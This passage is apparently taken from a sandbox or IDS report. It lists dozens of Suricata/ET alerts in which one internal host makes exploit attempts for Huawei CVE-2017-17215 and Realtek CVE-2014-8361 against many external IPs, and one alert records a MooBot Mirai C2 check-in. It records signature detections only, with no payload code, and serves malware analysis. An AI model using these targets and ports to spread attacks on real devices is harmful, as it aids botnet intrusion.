Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.238.245

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	37552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 195.72.16.230

Timestamp:	07/20/24-23:10:52.047583
SID:	2831300
Source Port:	54842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.0.255.123

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	52040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.114.49.59

Timestamp:	07/20/24-23:10:51.950747
SID:	2027339
Source Port:	44978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.42.35.146

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	43598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.190.74

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	49414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 14.134.150.109

Timestamp:	07/20/24-23:10:39.760924
SID:	2027339
Source Port:	49320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	07/20/24-23:10:39.912761
SID:	2027339
Source Port:	43734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 157.142.69.44

Timestamp:	07/20/24-23:10:42.619542
SID:	2831300
Source Port:	53718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 46.169.99.175

Timestamp:	07/20/24-23:10:43.924257
SID:	2027339
Source Port:	34458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.175.59.149

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	34394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.181.95

Timestamp:	07/20/24-23:10:52.547374
SID:	2835222
Source Port:	44306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.16.241.53

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 197.33.21.86

Timestamp:	07/20/24-23:10:44.462232
SID:	2025132
Source Port:	40994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.144.165

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	40716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.242.221.75

Timestamp:	07/20/24-23:10:42.651614
SID:	2027339
Source Port:	37386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.196.30.239

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	46994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.63.236

Timestamp:	07/20/24-23:10:42.269853
SID:	2829579
Source Port:	32910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 45.153.62.62

Timestamp:	07/20/24-23:10:43.412001
SID:	2025132
Source Port:	50482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.62.253.162

Timestamp:	07/20/24-23:10:41.220904
SID:	2829579
Source Port:	41220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.105.96

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	40006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 211.213.18.108

Timestamp:	07/20/24-23:10:51.999918
SID:	2831300
Source Port:	47826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 95.10.158.177

Timestamp:	07/20/24-23:10:47.846012
SID:	2027339
Source Port:	40634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.25.243

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	37834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.167.79

Timestamp:	07/20/24-23:10:55.979374
SID:	2835222
Source Port:	40564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.199.77

Timestamp:	07/20/24-23:10:41.224086
SID:	2835222
Source Port:	58384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 54.158.102.139

Timestamp:	07/20/24-23:10:44.565535
SID:	2025132
Source Port:	45664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 135.228.190.116

Timestamp:	07/20/24-23:10:44.752904
SID:	2025132
Source Port:	42588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.32.211.33

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	34094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.201.190

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	44378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.242.211.202

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	59372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 223.235.223.229

Timestamp:	07/20/24-23:10:47.812151
SID:	2025132
Source Port:	45356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.204.120.208

Timestamp:	07/20/24-23:10:39.474284
SID:	2829579
Source Port:	43916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.220.204.154

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	52260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 173.221.148.228

Timestamp:	07/20/24-23:10:51.940105
SID:	2831300
Source Port:	40614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.201.199.127

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	38198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 77.64.253.97

Timestamp:	07/20/24-23:10:39.185538
SID:	2025132
Source Port:	46572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.229.172.214

Timestamp:	07/20/24-23:10:56.006442
SID:	2835222
Source Port:	49912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 170.247.115.65

Timestamp:	07/20/24-23:10:52.450341
SID:	2025132
Source Port:	48800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 82.123.250.216

Timestamp:	07/20/24-23:11:03.361259
SID:	2829579
Source Port:	47424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.112.79.16

Timestamp:	07/20/24-23:10:49.404246
SID:	2829579
Source Port:	45608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 135.183.179.19

Timestamp:	07/20/24-23:10:46.756315
SID:	2835222
Source Port:	57128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.128.15.43

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	37772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 19.7.44.118

Timestamp:	07/20/24-23:10:45.364728
SID:	2027339
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.216.97.213

Timestamp:	07/20/24-23:10:44.392579
SID:	2027339
Source Port:	39070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.139.160.21

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	33564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.157.121.60

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	48048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.206.192

Timestamp:	07/20/24-23:10:55.977404
SID:	2835222
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.197.45.79

Timestamp:	07/20/24-23:10:56.073192
SID:	2835222
Source Port:	52332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 203.44.198.123

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	43262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.124.27

Timestamp:	07/20/24-23:10:42.266163
SID:	2835222
Source Port:	51356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.219.240

Timestamp:	07/20/24-23:10:39.462416
SID:	2835222
Source Port:	45002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 8.33.228.87

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	60980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.157.229.217

Timestamp:	07/20/24-23:10:49.288690
SID:	2829579
Source Port:	36534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.200.31.129

Timestamp:	07/20/24-23:10:51.992277
SID:	2027339
Source Port:	41282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 163.176.80.203

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	50180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.130.166

Timestamp:	07/20/24-23:10:56.016286
SID:	2829579
Source Port:	34812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.67.87.28

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	57716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 90.138.160.122

Timestamp:	07/20/24-23:10:51.969868
SID:	2831300
Source Port:	52510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.6.3

Timestamp:	07/20/24-23:10:42.277609
SID:	2835222
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 38.26.176.35

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	35744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.105.93.8

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	37562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.134.108.111

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.0.193.209

Timestamp:	07/20/24-23:10:46.817181
SID:	2835222
Source Port:	54106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.114.232

Timestamp:	07/20/24-23:10:46.829468
SID:	2835222
Source Port:	52954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.41.7.220

Timestamp:	07/20/24-23:11:06.663147
SID:	2829579
Source Port:	46230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 19.2.120.96

Timestamp:	07/20/24-23:10:42.619388
SID:	2831300
Source Port:	44880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 104.87.188.192

Timestamp:	07/20/24-23:10:47.573053
SID:	2027339
Source Port:	39056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.185.142

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	46840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 166.167.121.109

Timestamp:	07/20/24-23:10:40.179277
SID:	2025132
Source Port:	35850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.125.26.34

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	42418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:10:46.597085
SID:	2030490
Source Port:	55384
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 183.106.234.57

Timestamp:	07/20/24-23:10:47.708016
SID:	2025132
Source Port:	44240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.207.135

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	40680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.37.185.77

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	42750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.15.194.11

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	48038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.235.67.69

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.17.49.215

Timestamp:	07/20/24-23:10:40.652868
SID:	2835222
Source Port:	49330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.230.203.208

Timestamp:	07/20/24-23:10:49.450306
SID:	2829579
Source Port:	39042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.162.26.170

Timestamp:	07/20/24-23:10:51.925000
SID:	2027339
Source Port:	48620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 70.33.189.136

Timestamp:	07/20/24-23:10:51.898652
SID:	2027339
Source Port:	50562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 132.40.118.189

Timestamp:	07/20/24-23:10:51.950529
SID:	2027339
Source Port:	55568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 133.236.123.161

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	43080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.175.126

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	59122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.208.62.250

Timestamp:	07/20/24-23:10:41.220792
SID:	2835222
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.162.5.87

Timestamp:	07/20/24-23:10:51.955556
SID:	2027339
Source Port:	41882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 52.64.4.0

Timestamp:	07/20/24-23:10:52.607833
SID:	2835222
Source Port:	41444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.85.28

Timestamp:	07/20/24-23:10:39.488246
SID:	2835222
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 73.203.24.52

Timestamp:	07/20/24-23:10:42.630809
SID:	2831300
Source Port:	60498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.251.233.95

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	38156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.118.210.76

Timestamp:	07/20/24-23:10:42.630640
SID:	2027339
Source Port:	54806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 74.83.241.55

Timestamp:	07/20/24-23:10:52.033728
SID:	2831300
Source Port:	59418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.6.246.136

Timestamp:	07/20/24-23:10:51.950747
SID:	2831300
Source Port:	55348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.190.1.139

Timestamp:	07/20/24-23:10:40.642616
SID:	2835222
Source Port:	58132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.42.169.91

Timestamp:	07/20/24-23:10:39.196095
SID:	2027339
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 151.138.171.183

Timestamp:	07/20/24-23:10:47.883920
SID:	2025132
Source Port:	36094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 61.1.165.207

Timestamp:	07/20/24-23:10:51.937938
SID:	2831300
Source Port:	39462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.208.221.28

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.7.42.86

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	34464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 198.78.111.199

Timestamp:	07/20/24-23:10:45.545364
SID:	2025132
Source Port:	58380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.209.146.132

Timestamp:	07/20/24-23:10:41.228607
SID:	2835222
Source Port:	37458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

